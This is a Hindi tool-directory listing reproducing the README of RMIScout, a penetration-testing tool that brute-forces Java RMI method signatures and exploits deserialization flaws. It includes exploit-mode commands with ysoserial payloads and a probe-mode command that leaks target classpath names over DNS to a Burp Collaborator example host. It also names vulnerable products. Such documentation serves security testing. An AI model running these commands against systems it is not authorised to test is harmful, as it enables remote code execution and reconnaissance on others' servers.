Skip to content
KitploitKITPLOIT
उपकरणब्लॉग
जमा करें
उपकरणब्लॉग
जमा करें

हैकिंग, पेनटेस्ट और साइबर सुरक्षा उपकरण आपके सुरक्षा शस्त्रागार के लिए!

Kitploit हैकिंग, साइबर सुरक्षा और पेंटेस्टिंग टूल्स की एक निर्देशिका है। कमजोरियों को खोजने, सिस्टम का विश्लेषण करने, परीक्षण को स्वचालित करने और अपनी सुरक्षा को मजबूत करने के लिए नवीनतम प्रोजेक्ट अपडेट खोजें।

··फ़ीड·संपर्क·गोपनीयता·© 2026 Kitploit

टूल निर्देशिका

श्रेणियाँ

सभी श्रेणियाँ देखें
Loading categories
rmiscout — RMIScout, Java RMI फ़ंक्शनों की गणना करने और RMI पैरामीटर अनमार्शलिंग कमजोरियों का शोषण करने के लिए वर्डलिस्ट और ब्रूटफोर्स रणनीतियों का उपयोग करता है। | Kitploit
उपकरण/GitHubGitHub/bishopfox/rmiscout
भेद्यता स्कैनरशोषणजानकारी एकत्र करनाफज़िंगपेनिट्रेशन टेस्टिंग
GitHubbishopfox/rmiscout

rmiscout

RMIScout, Java RMI फ़ंक्शनों की गणना करने और RMI पैरामीटर अनमार्शलिंग कमजोरियों का शोषण करने के लिए वर्डलिस्ट और ब्रूटफोर्स रणनीतियों का उपयोग करता है।

रिपॉजिटरी देखें
448625 साल पहलेKitploit द्वारा समीक्षित

सबसे लोकप्रिय

सभी देखें →

हमारे समुदाय द्वारा सबसे अधिक उपयोग किए जाने वाले उपकरण खोजें।

सभी उपकरण खोजें

हमारे उपकरणों का संग्रह ब्राउज़ करें

सभी उपकरण देखें →
साझा करें
वेबसाइट

License Python version

विवरण

RMIScout, उजागर Java RMI इंटरफेस के विरुद्ध वर्डलिस्ट और ब्रूटफोर्स हमलों को सक्षम करता है ताकि बिना आह्वान के सुरक्षित रूप से विधि हस्ताक्षरों का अनुमान लगाया जा सके। यह कई Java RMI प्रोटोकॉल, विधि आह्वान, और शोषण का समर्थन करता है।

सुविधा अवलोकन

  • कई प्रकार के Java RMI सर्वरों का समर्थन करता है:
    • RMI-JRMP (जिसे सादा RMI भी कहा जाता है; सामान्यतः पोर्ट 1099): दूरस्थ वस्तु रजिस्ट्री सेवा (rmiregistry)
    • RMI एक्टिवेशन स्टब्स rmid के माध्यम से
    • RMI-IIOP: Java CORBA प्रोग्रामिंग मॉडल (orbd; सामान्यतः पोर्ट 1050)
      • IIOP के लिए JRE 1.8 की आवश्यकता है। बाद के रनटाइम में हटा दिए जाने के कारण।
    • RMI-SSL
  • संचालन के कई तरीके
    • वर्डलिस्ट मोड: एक वर्डलिस्ट (देखें शामिल lists/prototypes.txt) का उपयोग करके दूरस्थ विधियों का परीक्षण करें।
    • ब्रूटफोर्स मोड: विधि नामों की एक वर्डलिस्ट दिए जाने पर विभिन्न पैरामीटर प्रकारों, पैरामीटरों की संख्या और रिटर्न प्रकारों के साथ हस्ताक्षर उत्पन्न करें।
    • शोषण मोड: गैर-आदिम मापदंडों के साथ दूरस्थ विधियों का शोषण करने के लिए ysoserial का उपयोग करें।
      • ysoserial के ठीक से काम करने के लिए rmiscout को JRE 1.8 के साथ चलाने की आवश्यकता है।
    • प्रोब मोड: दूरस्थ क्लासपाथ में क्लासेज की पहचान करने के लिए GadgetProbe का उपयोग करें।
    • आह्वान मोड: कमांड लाइन से विधि हस्ताक्षर और पैरामीटर मान (केवल प्रिमिटिव, ऐरे और स्ट्रिंग्स) निर्दिष्ट करके सीधे दूरस्थ विधियों को आह्वान करें।
    • सूची मोड: दूरस्थ सर्वर पर उपलब्ध रजिस्ट्रियों की सूची दिखाएं।
  • स्वचालित रूप से RMI, RMI-SSL, एक्टिवेशन स्टब्स के बीच स्विच करता है।
  • स्वचालित रूप से लोकलहोस्ट बायपास तकनीकों का प्रदर्शन करता है (जैसे, @127.0.0.1:XXXX पर बंधी रजिस्ट्रियां, लेकिन फिर भी XXXX के माध्यम से बाहरी रूप से उजागर)।

यह कैसे काम करता है

RMI फ़ंक्शनों की पहचान करने लेकिन उन्हें निष्पादित न करने के लिए, RMIScout निम्न-स्तरीय RMI नेटवर्क फ़ंक्शनों और डायनामिक क्लास जनरेशन का उपयोग करके जानबूझकर बेमेल प्रकारों के साथ RMI आह्वान भेजता है ताकि दूरस्थ अपवादों को ट्रिगर किया जा सके। सभी मापदंडों को 255-वर्णों वाले नाम वाले एक गतिशील रूप से उत्पन्न सीरियलाइज़ेबल क्लास से बदल दिया जाता है, जो माना जाता है कि दूरस्थ क्लासपाथ में मौजूद नहीं है। उदाहरण के लिए:

Remote Interface:

root@kitploit:~
void login(String user, String password)

RMIScout आह्वान करेगा:

root@kitploit:~
login((String) new QQkzkn3..255 chars..(), (String) new QQkzkn3..255 chars..())

यदि क्लास मौजूद है, तो इसके परिणामस्वरूप ClassNotFoundException या आर्गुमेंट अनमार्शलिंग त्रुटि के कारण एक दूरस्थ java.rmi.UnmarshalException होगा, बिना अंतर्निहित विधि को आह्वान किए।

अधिक विस्तृत तकनीकी लेखों के लिए:

  • (मूल लेख) RMIScout: सुरक्षित और तेज़ी से कोड निष्पादन के लिए Java RMI इंटरफेस को ब्रूट-फोर्स करना
  • (RMIScout अपडेट) RMIScout के साथ RMI-IIOP को ब्रूट फोर्स करने पर सीखे गए सबक

संचालन के तरीके

वर्डलिस्ट मोड

root@kitploit:~
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>

दूरस्थ सर्वर पर जांचने के लिए विधि प्रोटोटाइप की एक वर्डलिस्ट प्रदान करें। RMIScout सभी पहचाने गए मिलानों को आउटपुट करेगा।

RMI-IIOP/CORBA के लिए: जब तक विधियाँ ओवरलोडेड न हों, ब्रूट फोर्सिंग और आह्वान के लिए केवल नामों का मिलान होना आवश्यक है (अन्य सभी जानकारी को अनदेखा किया जाता है)।

ब्रूटफोर्स मोड

root@kitploit:~
./rmiscout.sh bruteforce -i lists/methods.txt -r void,boolean,long -p String,int -l 1,4 <host> <port>

उम्मीदवार विधि नामों की एक वर्डलिस्ट प्रदान करें, फिर उम्मीदवार रिटर्न प्रकारों की अल्पविराम-सीमांकित सूची, पैरामीटरों की संख्या सीमा, और उम्मीदवार पैरामीटर प्रकार प्रदान करें। ब्रूटफोर्स मोड क्रमपरिवर्तन उत्पन्न करेगा और मिलान हस्ताक्षरों की खोज करेगा।

शोषण मोड

root@kitploit:~
./rmiscout.sh exploit -s 'void vulnSignature(java.lang.String a, int b)' -p ysoserial.payloads.URLDNS -c "http://examplesubdomain.burpcollaborator.net" -n registryName <host> <port>

गलत तरीके से कॉन्फ़िगर किए गए सर्वरों पर, गैर-आदिम प्रकारों (जैसे, java.util.List) का उपयोग करने वाले किसी भी ज्ञात RMI हस्ताक्षर का शोषण ऑब्जेक्ट को एक सीरियलाइज़्ड पेलोड से बदलकर किया जा सकता है। यह एक काफी सामान्य गलत कॉन्फ़िगरेशन है (जैसे, VMWare vSphere Data Protection + vRealize Operations Manager, Pivotal tc Server और Gemfire, Apache Karaf + Cassandra) जैसा कि An Trinh के 2019 Blackhat EU वार्ता में उजागर किया गया है।

RMIScout, ysoserial के साथ एकीकृत होता है ताकि प्रक्रिया-व्यापी सीरियलाइज़ेशन फ़िल्टर (JEP 290) को गलत तरीके से कॉन्फ़िगर करने वाली सेवाओं के विरुद्ध डीसीरियलाइज़ेशन हमले किए जा सकें।

शोषण योग्य हस्ताक्षरों के उदाहरण:

root@kitploit:~
void exampleMethod(java.util.Map a) // कोई भी गैर-आदिम प्रकार
void exampleMethod(float[] a) // किसी भी प्रकार की सरणी, यहां तक कि प्रिमिटिव भी
void exampleMethod(String a) // पुराने JDKs पर काम करता है, नीचे देखें...

नोट: java.lang.String प्रकार वाले हस्ताक्षर केवल JRE 8/11/13/14 रिलीज़ में 2020 की शुरुआत से पहले RMI-JRMP में शोषण योग्य हैं, लेकिन RMI-IIOP में अभी भी शोषण योग्य हैं।

आह्वान मोड

root@kitploit:~
./rmiscout.sh invoke -p 1 -p 4 -s 'int add(int a, int b)' <host> <port>
./rmiscout.sh invoke -p 1,2,3,4 -s 'int addList(int[] a)' <host> <port>

RMIScout आपको प्रिमिटिव, प्रिमिटिव सरणियाँ, या स्ट्रिंग्स के साथ किसी भी हस्ताक्षर को आह्वान करने देता है। अधिक उन्नत प्रकारों के लिए एक कस्टम क्लाइंट लिखने की आवश्यकता होगी।

प्रोब मोड

root@kitploit:~
./rmiscout.sh probe -s 'void vulnSignature(java.lang.String a, int b)' -i ../GadgetProbe/wordlists/maven_popular.list -d "examplesubdomain.burpcollaborator.net" -n registryName <host> <port>

RMIScout, दूरस्थ क्लासपाथ में क्लासेज की पहचान करने के लिए GadgetProbe के साथ एकीकृत होता है। क्लास नाम DNS के माध्यम से बहार निकाले जाते हैं।

निर्माण और चलाना

प्रोजेक्ट को स्वचालित रूप से बनाने और java -jar सिंटैक्स के चारों ओर एक सुविधाजनक रैपर के रूप में शामिल rmiscout.sh स्क्रिप्ट का उपयोग करें:

root@kitploit:~
./rmiscout.sh wordlist -i lists/prototypes.txt <host> <port>

वैकल्पिक रूप से, प्रोजेक्ट को मैन्युअल रूप से बनाएं और पारंपरिक java -jar सिंटैक्स का उपयोग करें:

root@kitploit:~
# मैन्युअल रूप से JAR बनाएं
./gradlew shadowJar

java -jar build/libs/rmiscout-1.4-SNAPSHOT-all.jar wordlist -i lists/prototypes.txt <host> <port>

नोट: RMI-IIOP (संकलन/रनटाइम) और ysoserial (रनटाइम) JDK8 पर निर्भर हैं।

इसे आज़माएं

डॉकराइज़्ड डेमो RMI सर्वर चलाएं। शामिल demo/wordlist.txt को आज़माएं।

root@kitploit:~
cd demo
./start_demo.sh

समस्या निवारण

प्रश्न: मैं कैसे पता लगा सकता हूं कि <host>:<port> एक RMI रजिस्ट्री है?

./rmiscout list <host> <port> का उपयोग करके दूरस्थ सर्वर पर रजिस्ट्रियों के बारे में जानकारी प्राप्त करें।

root@kitploit:~
[INFO] Registries available on 127.0.0.1:1099 = [ActivationServer:com.bishopfox.example.ActivationImpl_Stub, plaintest:com.bishopfox.example.HelloInterface]

या, nmap के rmi-dumpregistry स्क्रिप्ट का उपयोग करें:

root@kitploit:~
nmap --script rmi-dumpregistry 172.17.0.1 -p 1099 -Pn

PORT     STATE SERVICE
1099/tcp open  rmiregistry
| rmi-dumpregistry:
|   ActivationServer
|     com.bishopfox.example.ActivationImpl_Stub
|     \x00\x0EActivatableRef
|     extends
|       java.rmi.server.RemoteStub
|       extends
|         java.rmi.server.RemoteObject
|   plaintest
|      implements com.bishopfox.example.HelloInterface,
|     extends
|       java.lang.reflect.Proxy
|       fields
|           Ljava/lang/reflect/InvocationHandler; h
|             java.rmi.server.RemoteObjectInvocationHandler
|             @127.0.0.1:1111
|             extends
|_              java.rmi.server.RemoteObject

प्रश्न: मुझे पोर्ट 1098 पर java.rmi.activation.ActivationSystem नाम से एक रजिस्ट्री मिली। मैं इसके साथ क्या कर सकता हूं?

यह एक rmid एक्टिवेशन सिस्टम डेमन है। इसके सभी तरीके SecurityManager द्वारा प्रतिबंधित हैं। हाल के JRE जांचते हैं कि क्या दूरस्थ पीयर किसी भी दूरस्थ डेटा को डीसीरियलाइज़ करने से पहले लोकलहोस्ट से उत्पन्न होता है। पुराने (2011 से पहले) संस्करणों में यह जांच नहीं थी और वे कमजोर हो सकते हैं। देखें https://github.com/rapid7/metasploit-framework/blob/master/modules/exploits/multi/misc/java_rmi_server.rb

प्रश्न: क्या मैं RMIScout को JRE 8 से नए रनटाइम के साथ चला सकता हूं?

उत्तर: तकनीकी रूप से हाँ, लेकिन विभिन्न सुविधाएं काम करना बंद कर देंगी। CORBA समर्थन, प्रोब समर्थन, और ysoserial (शोषण मोड) JRE 8 निर्भरता अनिवार्य करते हैं।

प्रश्न: मुझे CannotCompileException क्यों मिल रहा है?

उत्तर: CannotCompileException तब होता है जब कोई अमान्य विधि नाम या प्रोटोटाइप सीधे या वर्डलिस्ट के माध्यम से प्रदान किया जाता है। RMIScout, उपयोगकर्ता द्वारा प्रदान किए गए उम्मीदवार हस्ताक्षरों के लिए रनटाइम पर बाइटकोड उत्पन्न करता है। हालांकि RMIScout में उपयोगकर्ता द्वारा प्रदान किए गए प्रोटोटाइप में सामान्य सिंटैक्स त्रुटियों को सुधारने के लिए बुनियादी नियम हैं, यह कभी-कभी विफल हो जाएगा।

लेखक

Twitter: @BumbleSec

GitHub: the-bumble

टूल डाउनलोड करें